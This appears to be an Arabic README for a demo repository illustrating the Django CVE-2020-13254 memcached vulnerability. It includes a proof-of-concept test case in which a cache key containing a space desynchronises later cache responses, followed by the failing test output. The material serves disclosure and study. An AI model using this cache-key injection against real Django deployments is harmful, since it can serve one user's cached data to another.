
عرض توضيحي للثغرة الأمنية Django CVE-2020-13254
يوضح هذا المستودع استغلال CVE-2020-13254 بطريقتين – عبر واجهة ويب وعبر حالة اختبار فاشلة.
لمزيد من التفاصيل، زر:
https://danpalmer.me/2020-06-07-django-memcache-vulnerability/
يقدم المثال واجهة ويب مع نموذجين، أحدهما يضبط القيم في ذاكرة التخزين المؤقت والآخر يسترجعها. تُترجم هذه مباشرة إلى استدعاءات لواجهة خلفية ذاكرة التخزين المؤقت في Django. نظرًا لأن قاعدة الكود لا تطبق أي نظام جلسات أو مصادقة، فإن الاستخدامات المتعددة في نفس علامة تبويب المتصفح لا يمكن تمييزها عن الاستخدامات المتعددة من قبل مستخدمين مختلفين عبر الأجهزة.
للاستغلال:
يمكن التعبير عن هذه العملية كحالة اختبار كالتالي:
from django.core.cache import cache
from django.test import TestCase
class CacheTests(TestCase):
def test_cache(self):
cache.set('k1', 'v1')
cache.set('k2', 'v2')
try:
cache.set('a b', 'v3')
except Exception:
pass
self.assertEqual(
[
cache.get(x) for x in
['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
],
['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
)
يفشل هذا مع الخطأ التالي:
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
File "tests.py", line 30, in test_cache
'v1',
AssertionError: Lists differ
First differing element 0:
None
'v2'
- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
? ------
+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
? ++++++
-------------------------------------------------------------
بعد set، تكون نتائج ذاكرة التخزين المؤقت التي يتم إرجاعها غير متزامنة مع الاستعلامات التي يتم إجراؤها.